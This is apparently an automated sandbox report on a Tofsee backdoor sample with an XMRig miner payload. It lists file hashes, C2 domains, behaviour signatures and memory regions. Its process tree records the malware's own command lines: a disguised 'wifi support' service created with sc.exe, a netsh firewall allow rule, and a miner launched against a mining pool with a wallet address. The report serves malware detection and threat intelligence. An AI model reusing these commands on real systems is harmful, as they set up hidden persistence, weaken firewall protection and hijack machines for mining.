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Analysis

  • max time kernel
    143s
  • max time network
    162s
  • platform
    windows7_x64
  • resource
    win7-20230220-en
  • resource tags

    arch:x64arch:x86image:win7-20230220-enlocale:en-usos:windows7-x64system
  • submitted
    08/03/2023, 12:46

General

  • Target

    01e1fb0a4795ce793f9cc3d6ccac091ad593589c877529f7e0a269d908db945e.exe

  • Size

    195KB

  • MD5

    e6633af95778725d06d9adc558c55040

  • SHA1

    3020a3b73ca13402a9bf25ffadd8fe85fa091148

  • SHA256

    01e1fb0a4795ce793f9cc3d6ccac091ad593589c877529f7e0a269d908db945e

  • SHA512

    55efc150e23b178ea53f4c3fe24ea4162c56037ad0b03a5817ec2d64401fd0d21fa07717f88abb7f96337f768fed55d3b5c54ccf8eb40002561ea47d9244af12

  • SSDEEP

    3072:gUHMJ/RMC7brSsy0ELqqWq54W22KjCp1dsLXDOQbVYC2:gEM1RD7b2sy0nnqwbjAeLXrbV2

Malware Config

Extracted

Family

tofsee

C2

svartalfheim.top

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs 1 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 7 IoCs
  • Creates new service(s) 1 TTPs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Deletes itself 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies data under HKEY_USERS 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\01e1fb0a4795ce793f9cc3d6ccac091ad593589c877529f7e0a269d908db945e.exe
    "C:\Users\Admin\AppData\Local\Temp\01e1fb0a4795ce793f9cc3d6ccac091ad593589c877529f7e0a269d908db945e.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2024
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\tbjctawm\
      2⤵
        PID:920
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\ndjqvhla.exe" C:\Windows\SysWOW64\tbjctawm\
        2⤵
          PID:860
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create tbjctawm binPath= "C:\Windows\SysWOW64\tbjctawm\ndjqvhla.exe /d\"C:\Users\Admin\AppData\Local\Temp\01e1fb0a4795ce793f9cc3d6ccac091ad593589c877529f7e0a269d908db945e.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:1976
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description tbjctawm "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:524
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start tbjctawm
          2⤵
          • Launches sc.exe
          PID:1680
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:1644
      • C:\Windows\SysWOW64\tbjctawm\ndjqvhla.exe
        C:\Windows\SysWOW64\tbjctawm\ndjqvhla.exe /d"C:\Users\Admin\AppData\Local\Temp\01e1fb0a4795ce793f9cc3d6ccac091ad593589c877529f7e0a269d908db945e.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:1372
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Windows security bypass
          • Sets service image path in registry
          • Deletes itself
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:856
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:548

      Network

      MITRE ATT&CK Enterprise v6

      Replay Monitor

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      Downloads

      • C:\Users\Admin\AppData\Local\Temp\ndjqvhla.exe

        Filesize

        14.9MB

        MD5

        d749b7b8171dd732b9d63285d1d963cc

        SHA1

        45e63ea142991bf99183663ce2feeceffe6b4582

        SHA256

        5845d0aa2312b324677ab0572baa9f016590cac17dabd6aa87a0376c1e59be36

        SHA512

        85d94601388bf221970d70ab1995a0fe1855b62936727cf75a2c263e9a03c2397a84d8912e26f5f9532b8bc64a2a5ac443a37bc524f5ea4bc9d34fc113db2ecb

      • C:\Windows\SysWOW64\tbjctawm\ndjqvhla.exe

        Filesize

        14.9MB

        MD5

        d749b7b8171dd732b9d63285d1d963cc

        SHA1

        45e63ea142991bf99183663ce2feeceffe6b4582

        SHA256

        5845d0aa2312b324677ab0572baa9f016590cac17dabd6aa87a0376c1e59be36

        SHA512

        85d94601388bf221970d70ab1995a0fe1855b62936727cf75a2c263e9a03c2397a84d8912e26f5f9532b8bc64a2a5ac443a37bc524f5ea4bc9d34fc113db2ecb

      • memory/548-112-0x00000000001E0000-0x00000000002D1000-memory.dmp

        Filesize

        964KB

      • memory/548-124-0x00000000001E0000-0x00000000002D1000-memory.dmp

        Filesize

        964KB

      • memory/548-125-0x00000000001E0000-0x00000000002D1000-memory.dmp

        Filesize

        964KB

      • memory/548-123-0x00000000001E0000-0x00000000002D1000-memory.dmp

        Filesize

        964KB

      • memory/548-122-0x00000000001E0000-0x00000000002D1000-memory.dmp

        Filesize

        964KB

      • memory/548-121-0x00000000001E0000-0x00000000002D1000-memory.dmp

        Filesize

        964KB

      • memory/548-120-0x00000000001E0000-0x00000000002D1000-memory.dmp

        Filesize

        964KB

      • memory/548-113-0x00000000001E0000-0x00000000002D1000-memory.dmp

        Filesize

        964KB

      • memory/856-88-0x0000000000180000-0x0000000000190000-memory.dmp

        Filesize

        64KB

      • memory/856-95-0x0000000000180000-0x0000000000190000-memory.dmp

        Filesize

        64KB

      • memory/856-71-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/856-73-0x0000000001C80000-0x0000000001E8F000-memory.dmp

        Filesize

        2.1MB

      • memory/856-76-0x0000000001C80000-0x0000000001E8F000-memory.dmp

        Filesize

        2.1MB

      • memory/856-77-0x0000000000150000-0x0000000000156000-memory.dmp

        Filesize

        24KB

      • memory/856-80-0x0000000000180000-0x0000000000190000-memory.dmp

        Filesize

        64KB

      • memory/856-83-0x0000000000180000-0x0000000000190000-memory.dmp

        Filesize

        64KB

      • memory/856-84-0x0000000000180000-0x0000000000190000-memory.dmp

        Filesize

        64KB

      • memory/856-85-0x0000000000180000-0x0000000000190000-memory.dmp

        Filesize

        64KB

      • memory/856-86-0x0000000000180000-0x0000000000190000-memory.dmp

        Filesize

        64KB

      • memory/856-87-0x0000000000180000-0x0000000000190000-memory.dmp

        Filesize

        64KB

      • memory/856-63-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

        Filesize

        4KB

      • memory/856-89-0x0000000000180000-0x0000000000190000-memory.dmp

        Filesize

        64KB

      • memory/856-90-0x0000000000180000-0x0000000000190000-memory.dmp

        Filesize

        64KB

      • memory/856-91-0x0000000000180000-0x0000000000190000-memory.dmp

        Filesize

        64KB

      • memory/856-93-0x0000000000180000-0x0000000000190000-memory.dmp

        Filesize

        64KB

      • memory/856-92-0x0000000000180000-0x0000000000190000-memory.dmp

        Filesize

        64KB

      • memory/856-94-0x0000000000180000-0x0000000000190000-memory.dmp

        Filesize

        64KB

      • memory/856-70-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/856-96-0x0000000000180000-0x0000000000190000-memory.dmp

        Filesize

        64KB

      • memory/856-97-0x0000000000180000-0x0000000000190000-memory.dmp

        Filesize

        64KB

      • memory/856-98-0x0000000000180000-0x0000000000190000-memory.dmp

        Filesize

        64KB

      • memory/856-99-0x0000000000180000-0x0000000000190000-memory.dmp

        Filesize

        64KB

      • memory/856-100-0x0000000000190000-0x0000000000195000-memory.dmp

        Filesize

        20KB

      • memory/856-103-0x0000000000190000-0x0000000000195000-memory.dmp

        Filesize

        20KB

      • memory/856-104-0x0000000005930000-0x0000000005D3B000-memory.dmp

        Filesize

        4.0MB

      • memory/856-107-0x0000000005930000-0x0000000005D3B000-memory.dmp

        Filesize

        4.0MB

      • memory/856-108-0x00000000001F0000-0x00000000001F7000-memory.dmp

        Filesize

        28KB

      • memory/856-69-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/856-68-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/856-62-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/856-64-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/1372-67-0x0000000000400000-0x0000000000574000-memory.dmp

        Filesize

        1.5MB

      • memory/2024-56-0x00000000001C0000-0x00000000001D3000-memory.dmp

        Filesize

        76KB

      • memory/2024-59-0x0000000000400000-0x0000000000574000-memory.dmp

        Filesize

        1.5MB

      • memory/2024-58-0x0000000000400000-0x0000000000574000-memory.dmp

        Filesize

        1.5MB